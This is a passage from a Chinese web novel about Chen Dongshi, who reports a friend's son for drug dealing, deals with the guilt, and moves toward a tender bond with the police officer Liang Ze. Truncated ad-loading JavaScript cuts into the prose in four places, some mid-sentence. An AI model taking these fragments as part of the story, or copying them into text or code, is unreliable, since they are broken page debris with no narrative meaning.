陈东实牵强一笑,合上楼道口的门,就着安全指示灯透出的那么一丁点儿光,说:“我不是想要干扰你们办案,我只是想求求你,能不能晚一点。至少等老钟出了手术室,让娘俩放心,你再带他们回去。” “不行。”梁泽一口回绝,语气不容置疑,“我们有我们的规章制度,接到检举信后,上级很是重视,指派我亲自跟进钟健翔这宗案子,时间有限,我只有三天,请你多多谅解。” “可法外不外乎人情,”陈东实仍不死心,“钟健翔是有错,可他家人是无辜的......” “那也不行,”梁泽态度强硬,“公.安局是你家开的?你说宽限就宽限?” “那我打电话给老曹。”陈东实见势只好抄起手机,有中国人在的地方,就有人情,这是谁也改变不了的事实。 “.......半小时。”梁泽还是没拗过他,“我职权有限,能争取到的,只有这点时间。” 陈东实略带感激地笑了笑,连连鞠躬,“谢谢梁警官,谢谢......谢谢......” “其实我不懂,”梁泽旋身将人叫住,“早知道会有现在,为什么还要把信投出去?” “这是两码事......” 陈东实停下脚,背对着梁泽,叹出一口长长的气,如身负着千斤顶。 “你就不怕钟国强知道,是你举报的他儿子吗?”梁泽走到他身边,伏在他耳边,“陈东实,你晚上睡觉时会不会觉得,是你.......毁了他们这个家?” 梁泽的最后一问彷如一记重拳,狠狠砸在陈东实的命门处。他看似轻飘飘的一句话,却揭开了陈东实在这件事里最挣扎、无奈与不可推卸的责任。 陈东实甚至有些悔了,何必要一时脑热搞什么保健品,这样就不会知道大钟涉毒,不知道大钟涉毒,就不会有举报信,没有举报信,自己就不会左右为难、进退维谷,事到如今,陈东实骑虎难下,倒成了这件事里最大的恶人。 陪钟家母子两等了一会,手术室灯灭,医生戴着口罩款款走出。 没等众人开口,医生如释重负道,“病人无碍,血栓清理得很成功,只是病人还在昏迷中,还要些时间才能醒过来。” 陈东实暗松一口气,抬眼见梁泽正盯着自己,一脸不可言喻。 ....... “东哥,咋回事,一下午见你魂不守舍,喊你好几回都没反应。” 徐丽替他拨开头顶上的碎发,将按摩椅调到一个最适宜的角度,挤了两泵护发素,轻轻抹到他发梢。 陈东实虚闭着眼,安然地躺在椅子上,思绪空荡。出了医院他无处可去,唯一想到的,就是徐丽这里。 “还是上回我问你的问题,你记得吗?”陈东实蠕动着嘴皮子:“如果一个对你来说很重要的人,他的家人犯了一个很大的错,你知道了,你会不会任由他的家人继续错下去,还是继续保持这种和和美美的假象。” “哪儿这么多考虑......”徐丽嗤笑一声,替陈东实按着头皮,音色轻柔,“很多事,做了便是做了,做了就别回头看,一回头,就容易忽略脚下,错过许多不该错过的事。” “脚下?”陈东实睁开眼,正对上徐丽倒转的一张脸,神色迷惘,“可是我的脚下,又有什么呢?” “你好像很少操心你自己。”徐丽一语中的,“你发现没,你一直替这个想、替那个想,但你自己,却简单到不能再简单。你的生活里,除了那个死去的小警察,便什么也没了,你该多关心关心你自己。” “我没啥讲究,”陈东实不好意思地笑了笑,“男人嘛,干净就好 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,过日子,我喜欢简单。” “那也不能太简单了,”徐丽满是心疼地看着他,手上动作放慢了些,“你看看你这头发,跟干草似的,要多做做保养。” “这不有你吗?有你替我保养。” 陈东实心满意足地闭上双眼,乖乖把手放在肚子上,来徐丽这里待了会儿,说了这么一会子话,他才感觉到一丝放松。 迷迷糊糊间,陈东实睡了过去。再醒来时,天已经黑了。 徐丽正在帮客人做离子烫,等仪器的功夫,她坐在柜台前,随手翻着一本过期杂志。屋外人群来往熙攘,正逢下班高峰期,隔壁饭店飘出一股葱油爆炒的菜香。 这才是生活。 陈东实拂过身下的褥子,那廉价却温暖的面料,每一道纹路都如此清晰。那一刻,陈东实忽然有点明白徐丽口中的“脚下”,脚下有热馄饨、白炽灯,撒欢儿的小土狗,闲谈的邻里,有倒过量的酱油,隔夜的菜,彻夜响的摩托车,和晚归的人。 人一生执着于功名与理想,却鲜少驻足品鉴眼前。远处的海蜃美轮美奂,你如夸父逐日般狂奔,近处的歌声却充耳不闻,任山水淌足而过。为“不可得”,而错过“已拥有”,徐丽想表达的意思,大概就是这个。 陈东实会心一笑,从小床上爬了起来,像充满电量的玩具超人。这间平平无奇的“丽丽美发屋”,就像他的充电站,数日的迷惘与苦解拨云见日,等待他的,一定会是万里晴天。 “你醒啦?”徐丽从瞌睡中抬起头,一脸关怀,“饿没?待会咱俩去吃点宵夜?” “好。” 陈东实摸了摸肚子,照向旁边的镜子,人还是那个人,可眼神,却比从前更见清亮。 十二点关了门,徐丽领陈东实出门觅食。两人找了家东北麻辣烫,这家档口人最多,后半夜里,遮阳棚里坐满了人。 “你不吃香菜?” 徐丽见他将碗里的香菜一一挑了个干净,早知如此,她就提前吩咐店家不往里放了。 陈东实嘿嘿一笑,说:“打小就不好这口,老习惯了。” “叔叔,买枝花吧......”一只小手伸到两人桌前。 陈东实抬头一看,是个约十一二岁的姑娘,小脸粉扑扑的,跟水蜜桃一样。 他不由想起了童童,她要是长这么大,会不会也跟这姑娘一样可爱? “买一枝吧,阿姨这么好看,最配这些花儿了。”女孩卖力兜售着,从花篮里抽出一枝晚香兰,“一枝只要三千蒙图,卖完这些就没有了。” “这么晚还在外面卖花?不怕遇到坏人?” 徐丽调笑着看了她一眼,目光渡向陈东实,期待着他的反应。 “那我都要了。” 陈东实大方应下,抽出一沓钞票,放到桌子上。 “不过我是有条件的,既然花儿卖完了,就早点回家,女孩子家家一个人这么晚在外头荡,多危险啊?是不是。” 陈东实拿起花篮里仅剩不多的几枝,抽出其中一枝,其余的都给了徐丽。 “这枝花,叔叔送你。”陈东实柔柔一笑,将花递到她手上,“你叫什么名字?” “我没有名字,”女孩收起笑容,紧捏着花篮边缘,挣扎着说道:“我也没有家。” 17. Chapter 17 “孤儿?” 陈东实上下打量了她一遍,模样清秀,衣衫整洁,不像是无家可归的流浪儿童。 外蒙古地处中俄相交处,人群复杂,治安混乱,乌兰巴托更是违法犯罪的重灾区,流浪儿、弃婴比比皆是。陈东实不是惊讶于她无家可归的身份,而是没想到流浪儿里也有如此干净归整的孩子,身上的白裙子跟朵百合花似的,仿佛不属于这个肮脏的世界。 “那你平时住哪儿,都怎么生活?”徐丽问。 女孩说:“遇到户好心人,开招待所的,我在那儿帮忙收收账,他们给我提供个床位。没生意时出来卖卖花,别的赚钱法子,我也想不到了.......” 陈东实心疼不已,扭头叫了份馄饨,招呼她一块儿坐下吃点。 徐丽不忍关切:“那你朋友呢?除了招待所那群人,可还有什么别的人陪你?” “本来有一个,可她.......她......”女孩压着头,眼里的光忽而灭了,“她前年被一个自称是她小姨的人带走了,后来好久都没消息,再见到她,已经大着肚子,被逼着卖给了个哑巴,生了好几个孩子......” 陈东实与徐丽双双对视了一眼,一切尽在不言中。这无甚稀奇,越是贫瘠的国度,女人越容易沦为资源。男人天性中带着掠夺与侵略,无力反抗的从庸之流,只会沦为陪葬。 “那你不害怕吗?”徐丽拉起她的手,眼中满是恻隐:“一个手无寸铁的小姑娘家,走在路上就是活靶子。多少豺狼都盯着你,你那朋友就是个例子。” 女孩低着头,嘤嘤抽泣着,眼泪啪嗒啪嗒掉在桌沿上,仿如夜雨忽来。 “这样吧,”徐丽略微一合计,“你要是信得过我们,就来我这儿做帮工。我是开发廊的,铺面就在隔壁。这是我哥,姓陈,我姓徐,叫徐丽,你可以喊我丽姐,你要是愿意的话,明天可以来我店里看看。” 女孩面色一紧,似乎并没有被徐丽抛来的橄榄枝打动。陈东实在一旁瞧着,心里有数,人小姐妹就是被陌生人拐跑的,徐丽这样一上来便积极示好,小姑娘不害怕才怪。 “不着急,你可以慢慢考虑。”陈东实将自己碗里的荷包蛋夹给了她,“我们不是坏人,当然,这么说你肯定也不信。” “所以我说让你得空来我店里看看,就知道我有没有在骗你。”徐丽也看出了她的担忧,“我给不了你别的,但至少不会让你饿死。你要做得好,一个月我给你这个数。” 她伸出四根手指,莞尔一笑:“四十万图格里克,比外面什么洗碗工、服务员要赚钱得多。” 在乌兰巴托,童工并不是什么稀奇的事,有些孩子甚至十岁不到便出来谋生。06年的外蒙古,普法覆盖率低,原住民受教育程度普遍不高,作为一辈子生在马背上的国家,工业推进的迟缓与信息的落后让他们更加坚信,草原与黄土已逐渐落后于时代,唯有握在手里的钞票,才是通往青云之路的上上解。 吃完宵夜,陈东实和徐丽将女孩送回了招待所。地方离陈东实家不远,中途送完徐丽,陈东实开车回自己家,到家已经凌晨两点多了。 他洗了个澡,将前些天囤下来的脏袜子、秋衣内裤一并搓了。忙完已经近四点,男人一身酸痛地躺回到床上,洗澡时哈欠打个没完,真要睡了,又莫名没了困意,不知道怎么了。 纠结了一会,陈东实一骨碌坐起,掏出手机,翻出了电话簿。 光标迟迟停驻在首字母L开头的姓氏行,陈东实紧盯着屏幕,将编辑好的短信删了打,打了删,如此反复多遍。 就在他百思不得其解,自己究竟所为何事要发这条短信时,手指一抖,信息“嗖”地一下发送了出去。 陈东实脑袋一热,狂摁取消键,却还是徒劳。看着已发送里那条“饺子好吃吗”,他懊悔万分,在床上翻来滚去,像是一条油锅里待烹的鱼。 那么他会看到吗?看到之后会怎么想?他会回自己吗?还是只是当一条无头无脑的垃圾讯息处理了? 陈东实越想越乱,用脑过度后,困意再度袭来。这次他没能扛住,抱着手机,呼呼睡了过去…… 翌日午后,陈东实被楼下汽车声吵醒。他瞧了眼手机,十几个未接来电,全是曹建德打来的。 趁着刷牙的功夫,陈东实回了过去,拨通那一刻时想起,今天是威龙的忌日,自己待会还要去陵园扫墓。 谁知曹建德在电话里说,自己跟李倩已经扫完了,打了陈东实好几个电话,没人接,他们只好先行一步。 “不过你得早些去啊,”电话那头的老曹忍不住叮嘱,“他们四点半就关门了。” 陈东实瞧了眼钟,还有两个半小时时间。他草草洗漱了下,换了身衣服,开车直奔陵园。 人赶到时,梁泽后脚也跟着到了。两人简单寒暄几句,并肩走进陵园。 九月的乌兰巴托,秋寒料峭,一些靠近山野的区域提前飘起了新雪。陵园里的银杏新换了一批枝叶,远远看去,金灿灿一片,如怒海翻鳞。 “好吃。” 梁泽冷不丁冒出这么一句。 跟在后头的陈东实一愣,两人互相看了对方一眼,不约而同地笑了起来。 陈东实知道,他是在回答昨晚那条短信。 “嫂子手艺不错,”梁泽一脸笑意,“离了婚,该叫嫂子吗?” 好像除了嫂子,他也想不到其他更合适的称呼了。 陈东实蛮不在乎地摆了摆手,同梁泽一道踏上长阶。李威龙的墓碑在烈士区最内一排,陈东实几乎每隔一段时间便会来打扫一番。 “我没什么能带的,就买了束花。”梁泽捧起手里的雏菊,递给陈东实,“雏菊的花语是离别和永逝的爱,形容你和他,最合适不过。” “你不觉得别扭吗?”陈东实小心翼翼地瞟了眼他手上的钻戒,声音比蚊子叫还轻,“我是说......你一个正常男人......不会觉得我跟他的关系,不舒服吗?” 这是一个向内的年代,同志是秘而不宣的暗雷。陈东实潜藏多年,不近女色,旁人只以为他性格孤僻,连老婆都处得像个兄弟。殊不知,他心中含暗含一份自卑,在他看来,自己这样,是“不正常的”,不正常的东西,有理由不被世人所接受。 “那你觉得李威龙会别扭吗?”梁泽一脸认真地看着他。 “不会。”陈东实想也没想,坚定地答,“他肯定不会。” “那我也不会。”梁泽噗嗤一笑,勾上他的肩,“看你紧张的,怎么,难不成你还会喜欢上我?” 陈东实忙矢口否定:“怎么可能......你都要结婚了......你跟你女朋友的感情,一定很好吧……” “还好,我们每个月都会写信。”梁泽将戒指大大方方地呈在陈东实面前,“这也是她挑的,我不懂这个,她说适合我,你呢,你觉得好看吗?” “好看。” 陈东实苦笑两声,悄悄掩去心中一滑而过的酸涩。 两人来到李威龙墓前,上头堆着几枝鲜花和些许水果,应该是老曹和李倩留下的。 “其实我一直很好奇,你为什么这么喜欢李威龙。他究 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 竟有什么魅力,值得你爱得这么死去活来的?” 梁泽躬下身,替他拂去墓碑上粘连着的几片枯叶,言语温和。 “我跟他认识.......”陈东实恍惚一笑,昔日光阴如画卷般徐徐铺开,“说起来也很好笑。” “我洗耳恭听。” 陈东实将花放在墓前,双手合十,虔诚地弯下膝盖,对着墓碑上的肖像,叩了一叩。 “那是好多年前的事了......”一声嗟叹,“我刚出社会那年,那会还没来外蒙,在哈尔滨的道外做货工,俗称苦力。有一回下夜班,见一伙人欺负一个小姑娘,我出了手,背上挨了一刀,结果还被警察当成了寻滋闹事,一起带了回去,挨了好一通教育。是李威龙,积极跟进,帮我洗脱了冤屈,还争取到了赔偿,我跟他,就这么平平淡淡地认识了。” 梁泽靠在一旁的树上,安静地听着,目色悠远。 “他那会还不是警察,只是个小小的警校实习生。我挨打时,他就在路人堆里,没出声。后来我埋怨他,看我被一群人打,干嘛不帮帮我,每次他都嬉皮笑脸地回,我那时候又不认识你,干嘛要没事找事,你看,这臭小子精得很。” 陈东实把自己给说笑了,眼里却满是伤感。 “后来这么一来二去,我们就熟悉了。我又问他,既然不认识,你后来干嘛又帮我,你这不是自相矛盾吗?你猜他怎么说,他说,我是看你被欺负得惨了,不想让天下好人寒了心。你不仅挨了打,还被警察埋汰,我实在看不下去才帮你的。结果谁曾想,嘿,你个狗咬吕洞宾,我好心帮你,你还揣度我的动机,那我以后不帮你了,让你活活被冤死算了。” 梁泽颔首一笑,眸底飘过一丝动容。 “这当然是他的气话,后来来了外蒙,来了乌兰巴托,他在信里告诉我,他说东子,我信感觉,我相信你也是。从刚认识你那会起,我就感觉,你是我命中注定的那个人。可能你会觉得滑稽,会觉得无厘头,但请你正视一个正道之人的良苦用心,他们从不擅说谎。那时他已经如愿,成为了一名人民警察。他一直想成为一名警察。” “你们一定经历过很多事情.......”梁泽向前两步,抚上陈东实的肩,“所以后来他死了,你才会那么难受.......” “死了......?”陈东实自嘲一声,看着身前不动如山的石碑,神色释然,“威龙,他在我心里一直都还活着。” ......... 出陵园天色近晚,梁泽在路口等车,陈东实本来说好送他,结果接到老钟媳妇的电话,说老钟醒了,让他赶紧去趟医院。 警局和医院是相反的方向,陈东实犹豫了一会儿,手沉在口袋里,反复揉捏着那张胸牌。 那是他和梁泽第一次见面时,他趁乱从梁泽身上扒下来的。原想着借机发展一下第二次见面的机会,只是谁能想到,因为金蝶,因为老钟,他们又莫名其妙地卷到了一起,倒白费了自己一番心机。 看着梁泽胸口新补上的名牌,陈东实想了想,还是决定不还给他了。他也没提,许是以为是自己粗心弄丢了,别说陈东实尽善尽美,他也自私,也有自己的狡黠。 “天要下雪了哎。” 陈东实轻叹一声,手伸到车窗外,想起见李威龙的最后一面。 他站在月台前,呲着满嘴大白牙,仰头问自己,哈尔滨的雪,是不是真的是甜的? “是嘛,”梁泽随他一道接住天际飘来的碎雪花,高大的影子落在陈东实身上,“那我可要尝尝,乌兰巴托的雪是不是甜的。” 18. Chapter 18 “你也听过这个说法?”陈东实晃晃一笑,“雪是甜的......好像是个谣言。” “曾经听朋友提起过,”梁泽缩回手,面露一丝羞赧,“让你见笑了,看到我这么幼稚的一面。” “哪里幼稚,”陈东实不好意思地低下头去,捏着方向盘,鼓起勇气道,“明明很可爱呐......” 撂完这句意图明显的话,陈东实飞似的逃了出去。踩下油门的那一刻他悔了,自己才是幼稚的那个。三十岁的人了,还没羞没臊说这种话,还是对一个已经订了婚的男人,望着车头李威龙的素描,他愧怍万分,比出轨被抓包还别扭。 陈东实向来如此,自我道德的谴责线永远比别人的要高。这得益于他那老母,一个一辈子没出过村子的农民妇女。即便她两眼昏花、大字不识,却并不妨碍她教会陈东实是非善恶,以及无论何时何地,那一腔炙烈如初的赤诚。 对老钟自然也是如此。 所以这注定陈东实踏进病房时,无法坦然面对这个曾对自己施惠良多的恩人。大钟被缉毒队带走的事,他还没告诉老钟,想必老钟媳妇和小钟也不敢轻易吐露,看着眼前面如死灰的中年男人,陈东实的自责愈发之深,先前排演了千百遍的问候,见到真人一句也说不出来。 老钟耷拉着眼皮,两颗眼珠浑浊无光。身旁的仪器发出规律的轻响,输液袋里的药水似伤者的泪,一滴一滴,永无止境。 “你来了.......”老钟喑着老嗓,声音比从前更见浑厚。陈东实替他拉上帘子,将水果放到床头,假装无事发生般坐到了床边。 “新鲜的草莓,”陈东实把手伸进塑料袋,“给你洗几个?” “不着急,”老钟抽出一声哀叹,问,“你们是不是有事瞒着我?” 陈东实一脸呆笑,“看你说得,我能瞒着你啥,你这是病糊涂了吧。” 老钟并不理会他的托辞,自顾自道,“我还没傻,脑子还清醒着,病前发生的事没忘,缉毒队的人打电话给我干嘛,还问了很多老大的事,他怎么了?好端端的警察问他做什么,醒来也没见到他人,问娘俩,一个个都跟我装糊涂,老陈,你心眼实在,你告诉我句实话,老大他到底怎么了?” “真没什么.......”陈东实停住抚弄草莓的手,表情僵硬,“就是......就......就是请他去问个话。” “问个话?”老钟惨然一笑,直起上身,咳了两声,“问个话几天不见人?什么话要问这么久?他是不是出什么事了?” “你别急.......”陈东实忙将人扶回到靠枕上,揉了揉眉心,坦白道:“唉,不妨告诉你吧,他被人举报了,警察说他贩毒,正在走审讯流程呢。” “老陈!你........” 陈东实还没来得及去看老钟的反应,背后乍地传来一声饭盒落地的声音。只见老钟媳妇一脸错愕地站在门口,身后跟着个小钟,同样一脸惊诧。 “我说了,他迟早会知道的。”陈东实无奈地拍了拍大腿,“你们要怪就怪我吧......唉!” “贩毒?”床上的老钟紧抓着床单,面色红涨:“这怎么可能?他哪来的胆子搞这名堂?!这不可能!” “警察都搜出来了,说是在他的小出租屋里,搜出好多毒品.......”陈东实转过身去,不忍心看老钟的脸。 “不可能......”老钟一把掀翻靠枕,“绝对不可能!” “你先冷静点.......”老钟媳妇扑上前去,一脸痛心疾首,“我也想是假的,可.......可这的确是他造了孽呀.......我跟小的已经去过公.安局了,那头留了话,说等你醒了,还要来问你。他不止害了他自己,连带着我们一家都被他害惨了.......” 女人话说一半,又哭了起来。 “不对......你说是人举报的?”老钟像是反应过来什么,看向陈东实,“是谁举报我家老大的?是谁举报的?一定是他想陷害我儿子,一定是他想害死我们一家人!” 陈东实吓得大气也不敢出,任老钟冲自己无脑发泄着。他感觉自己就像一只被拔光毛的鸵鸟,被放在高高的桌子上,任一屋子人品评围观。 “有力气发脾气,看来恢复得很好嘛。” 就在陈东实手足无措时,门口哒哒哒走进几位警察。 曹建德领着李倩、梁泽等人,全到齐了,看来钟健翔所涉及的案情并不简单。 经侦办联动缉毒科,少有的跨部门合作,陈东实意识到事态的严重性,看来大钟不仅是贩毒这么简单,兴许还夹带着刑事责任,否则也不会惊动曹建德出山。 “钟国华,是你吧?”曹建德亮出警官证,一同出示的还有大钟的照片,“钟健翔是你儿子,没错吧?” “明知故问......”老钟俯下头去,没了适才吼天吼地的胆魄。 李倩朗声道;“我们也只是例行公事,核对一下您和钟健翔的身份,请您配合调查。” “我什么都不知道,”老钟气息奄奄,“我要是知道,刚刚也不会发那样大的脾气.......” 说着略带歉意地看了陈东实一眼,像是在为刚刚的宣泄说对不起。 陈东实从中调解:“病人刚醒,情绪还不是很稳定......他也是刚刚才知道,自己儿子出了这么一档子事儿,要不然您看,能不能先给他一点时间,等他身体好些了,我亲自带他去警局沟通,乌泱泱的扎在这屋子里,其他病人也不方便呐。” 陈东实言辞恳切,句句落到实处。这便又体现出他的好处,平时看着多不善言谈,其实做人做事活络得很。 “不过我有个问题,”老钟并没承陈东实的意,让警察避开盘问,他厉声问,“听老陈说,是有人举报我家老大贩毒的,能不能请你们告诉我,是谁举报的他?是谁举报的我儿子?我一定不会放过这个人,一定不......!” 陈东实心下一凛,做贼心虚似的瞄了后头的梁泽,病房中一片死寂。 “这是匿名投递,我们也不知道。”梁泽徐徐开口,语速平缓,挑不出一丝破绽,“知道了也不能告诉你,举报者有权利受到保护。” “不说我也能查,”老钟抽搐了下嘴角,毫无缘故地勾起一抹冷笑,“他最好别栽在老子手里......” ....... “我觉得那个钟国华,今天后来的反应很可疑,不排除他有报复举报人的可能。梁泽,这些天你多留留心,最好跟进下这件事,有必要时可以派人暗中保护下陈东实,别让这案子节外生枝。” 出了住院大楼,曹建德对身后一行人细声吩咐着。陈东实跟在他们身后,代钟家人送送他们。 “陈东实,谢谢你的举报线索,这对我们接下来的行动很有帮助。”曹建德一脸感激,“公归公,私归私,威龙在天有灵,知道你初心不变,一定也很欣慰。” 陈东实与梁泽相看了一眼,笑了笑,心中的负 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 罪感淡了些许。 “行了,别送了,早点回去多陪陪病人吧。”曹建德拍了拍他的肩,随众人跨上警车,“有新的线索,记得及时联系我们。” 曹建德扫了眼陈东实,摇上车窗,绝尘而去。 “陈叔......!” 陈东实正欲抬脚,背后突然炸出一声呼唤。他忙转过身,见小钟不知什么时候站到了自己身后,满脸写着“我不相信”。 “是你举报的我哥——?!” 男孩失声大叫,没等陈东实反应过来,拔腿便往楼梯间跑。 “小钟........?!”陈东实大惊失色,慌忙追上前去,铆足力气紧跟其后,“你听我跟你解释.......” “你别碰我!”小钟边跑边回头嘶叫,眼泪不争气地流了下来,“你为什要这样.......为什么?!你明明......明明跟我爸最要好了.......” “你听我说.......等等我......等等我行不行?” 陈东实上气不接下气,才跑了两三层,便有些追不动了。 “你跑慢点.......听我跟你说......给我一分钟,就一分钟……” 陈东实扶住膝盖,抹了抹额头上的汗,再抬眼时,男孩已停下脚,静静地站在高自己半层的台阶上,冷眼相望。 “你听我跟你说......说.......”陈东实向前蹒跚两步,叉腰捋了捋气,“你哥的确是我举报的.....你没听错.......但是......陈叔绝对没有害你哥的心思,你是个好孩子,老师一定教过你分辨是非善恶,我是打心底为着你哥好呀.......” 小钟满眼不忍地看着陈东实,渐放下紧拧的拳头,似有动摇。 “别告诉你爸,行不行?”陈东实踏上与他同级的台阶,两只手无力地搭在他两肩,几近哀求,“我不怕被你爸骂,我是怕他受不了.......他才刚做完手术,知道太多,对他并不见得有多好.......” “那你为什么还要举报我哥?”小钟一脸赌气地别过身去,“你既然那么在乎他的身体,就该知道,我爸知道我哥被抓了进去,身体肯定会吃不消.......” “你还小,我想你有天会明白我的.......”陈东实摸了摸他的脸,事到如今,说什么都显得苍白肤浅,唯有实实在在的关切,才能为自己的行为稍作弥补。 陈东实掏出皮夹,从中抽出一沓钞票,塞到小钟手上。 “拿回去,给你妈。”陈东实咽下一口寒气,表情痛苦,“不是什么封口费,单纯是叔对你爸的一点子心意。” 小钟痴痴然接过那一沓钞票,半懵半醒,“真的.......?” “什么真的?” “你说你是为我哥好,是真的?”小钟看着眼前一脸憔悴的男子,他记得,爸爸说过,这是世界上最好的叔叔,世界上第二好的叔叔姓李,他已经死了。李叔叔死了,陈叔叔还活着,好人总是命不久矣。 “是真的.......”陈东实用尽全力,重重地点了下头。 “那你先别走.......”小钟忽地将他拦腰抱住,夹着哭腔:“那陈叔能不能也救救我爸.....他骗了你......” “骗了我?” “他骗了你......跟警察。”小钟擦干泪,抬起小脸看着陈东实,说:“我爸......他其实早就知道我哥在贩.毒。” 19.Chapter 19 “你爸知道.......?” 陈东实猛然一惊,这一场局,也显得更加错综复杂。 “对,他知道,他什么都知道.......”小钟确有其事地点了点头,稚嫩的脸上,浮现出几分突兀的成人感,陈斌亦有同样的气韵。 “我哥有段时间总是很晚回来。我爸觉着不对劲,便回回夜里在门口堵他。后来有次在他房间的书柜上,发现一个小铁盒,里头放着一打一打的钞票,他逼问了我哥好久,我哥才说出实情,他求我爸不要说出去,还说这是为全家人好.......” “那你又是怎么知道的?”一问未解,陈东实又生一问,“你妈知道这些事吗?” 小钟说:“她不知道,我也是凑巧,那天跟同学吵了架,回家躲在衣柜里生闷气,迷迷糊糊睡了过去。醒来的时候,听到外头在吵架,我哥说什么赚钱什么不会出事,让我爸放心,我爸被说烦了,只让他干最后一次,就不许干了,他答应我哥不会说出去。结果没想到我哥还在偷偷做,后面的事情,你也就都知道了。” 陈东实满心错乱,如此一来,他竟不知道该怪谁了。 大钟这孩子他吃不准,但老钟的性子,他最清楚不过。钟国华生性安稳,在单位向来淡泊。平时也只爱钓钓鱼、养养花,从不愿在旁的事上多费心思。谁想这回却犯岂了糊涂,包庇起自己的儿子来。想到他在曹建德面前满口否认的样子,陈东实恍惚感觉,自己有些不认识他了。 “乖孩子,你妈没白养你。”陈东实将思绪落回到眼前,当务之急,不是钟健翔和钟国华父子,而是眼前的小钟和他背后惴惴难安的母亲,他将小钟搂在怀中,轻声哄慰,“钟家幸好还有你明事理,你比你哥你爸要强得多。” “那陈叔叔,我现在该怎么做?”孩子终究是孩子,很多事情,仍需要引领。 陈东实说:“你现在是男子汉了,男子汉最重要的事,就是照看好身边最珍爱的人。” “最珍爱的人.......”小钟若有所思,眨巴眨巴两下眼,豁然,“我懂了,我要照顾好妈妈。” “好孩子,”陈东实替他擦去眼角残余的泪:“至于你哥和你爸,陈叔叔会和警察叔叔一起,给你和你妈妈一个交代。” 是夜,陈东实独坐良久,直到对面楼的最后一盏灯灭了,才从昏想中回神,起身离开阳台。 他将床脚一堆没叠完的衣服叠了个遍,七扭八斜的,远不如肖楠在时整理得那般清爽。 陈东实提溜着短袖,坐在床边,看着那一摞杂乱的衣物,轻叹了一口气。他还是没忍住,掏出手机,给肖楠打了个电话。 “衣服该怎么叠?”陈东实自己也想不到,三十岁了,连这样一件小事都做不好。 电话那头的肖楠微微一怔,很快反应过来道,“怎么,就没再找个女的帮帮你?” “我想童童了,”陈东实说出这通电话真正的目的,“肖楠,最近我身边发生了很多事,我前天遇到个卖花的小女孩,漂亮极了,今天又看到老钟的小儿子,懂事得让人心疼。看着他们的脸,我总是在想,童童以后会是什么样子,外面这么危险,她是否能平安长大?肖楠,我很害怕......” “你又开始胡思乱想了,”那头的女人唉了一声,小声地说,“要不是童童已经睡了,我可要让她好好听听你刚刚说的那些话。你这话就好像在说,我对童童就不上心似的。她每天吃好喝好,在幼儿园新交了好多朋友,晚上刚吃下一大碗火腿炖肘子,虽然她也不是我生的,但我爱她,一点也不比你少。” “我不是这个意思......”陈东实挠了挠头,在口舌上,他远不如肖楠那般灵活婉转。 “这个月的抚养费你还没打。” “能不能宽限我一点时间.......”陈东实难堪地看着镜子里的自己。 “那你记得下个月补齐。”肖楠的语气不冷不热,“快入冬了,记得自个儿去淘两件羽绒服。” 陈东实浅声应下,静静挂断电话,那堆没叠好的衣服还是没叠好,就像他一团乱糟的生活,周而复始地一团乱糟着。 那天晚上,陈东实少有地梦见了老母。他很少称呼她为“妈妈”,或“娘”,或者母亲。 在他印象里,自己的老母总是眯着一双眼,她幼时被蜡烛油烫伤,双目几近失明,泪腺也跟着出了问题,总是莫名其妙地流眼泪。陈东实很小时就学会了一件事,就是帮老母亲擦眼泪。 同龄的孩子,周岁左右便会扶着小板凳走路,在一众长辈的鼓舞声中,迈出人生中第一个完整的步伐。 但陈东实不是。 他的童年里,父亲是模糊的,甚至可以忽略不计。母亲是具体的,丰沛的,就像她发达的泪腺,爱意笼罩、降临至每一寸骨血。 陈东实的小脚丫子还没站稳地面前,他就会扶着小板凳,一点点抬起小手,擦去女人眼底的泪水。他会说,母别哭,那时他还不会规范发音,“ma”读出来像“mu”,老母的称呼由此而来。 陈东实梦见她坐在老家的田埂上,编制着鸡篓,脚边是那头小牛,他习惯叫它“花儿”。“花儿”是头母牛,再养大些能卖得更贵,但花儿的结局也注定好了的,为了帮老母治病,陈东实没等它长大,便草草卖给了农场主。 “老母......”三十岁的他顺着漫天萤火虫,穿过麦田,有无数飞花在舞。 女人坐在田边,一下下抚摸着那头小牛,她告诉怀里的孩子,有业力的人,死后会化作他最心爱的小动物,静静地守护着他。 三岁的小陈东实仰望天空,抱紧小牛,说,“我喜欢花儿,那阿母死后会变成花儿吗?” 女人衔着笑说,“会的,阿母以后会变成一头小牛,永远跟在你身后,陪你一直走下去。” 三十岁的陈东实在麦田中狂奔,泪如泉涌。慢点走,远方的路凶吉未卜,请你等等我。 让我再看你一眼,就一眼,让我替你再擦一次眼泪,最后一次。哪怕是最后一次。 我知道没有你的路会万分凶险,但我更害怕的是,你不在我身边。 这世间太多颠转因果,我盘桓潜行、步步见血,却还是放不下这思念情长。 “花儿.......”陈东实抿着泪,重重摔倒在田野里,他翻过身,将头没入枕巾,触及到的,是一片刺骨的冰凉。 果然是梦。 陈东实猝然惊醒,泪淌了一脸,汗也淌了一身。 天微微发亮,照见他小麦色的脚踝。他坐起身,扯过件外套擦了把汗,扭头去浴室冲凉。 “谢谢你,好心人。” 陈东实洗完澡,还没擦干身,就瞥见信箱里弹出的短信。 他想了几秒,想起上回陪陈素茹去少管所看陈斌时,给陈素茹留了号码。这声“好心人”,实打实叫到他的心坎里,陈东实迟钝地意识到,自己并非真的一无是处。 “他今天出来了,谢谢你,陈师傅,您可真是个大善人。”电话那头的陈素茹喜不自胜,吐出的每一个字都冒着生机,“要不是您疏通打点,据说还要再关一段时间。” “疏通打点.......?”陈东实听得满脑袋问号,但很快应道,“啊对.......出来就好,出来就好......有空我就去看看斌儿。” 挂了电话,陈东实火速拨通李倩的号码。对方像是知道他要问什么似的,开门见山道:“是梁泽开的口,也不算走后门。陈斌是初犯,且暂时没具备成瘾性病理,又是未成年,所以按照规定,可以适当放宽首次拘留的时间,但如果再犯,就不单单是拘留这么简单了。” 果然是梁泽。陈东实粲然一笑,翻出某人的号码,在编辑框里输入一句“谢谢”,毫不犹豫地发送了出去。 许久没去公司报到,陈东实不得不在周会上露个脸。下楼时想到,车子好像快没油了,得绕道去趟加油站,给车子加点油。 陈东实一上车便在车座四周翻找,那加油卡被放在哪儿来着,他东塞西塞 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { 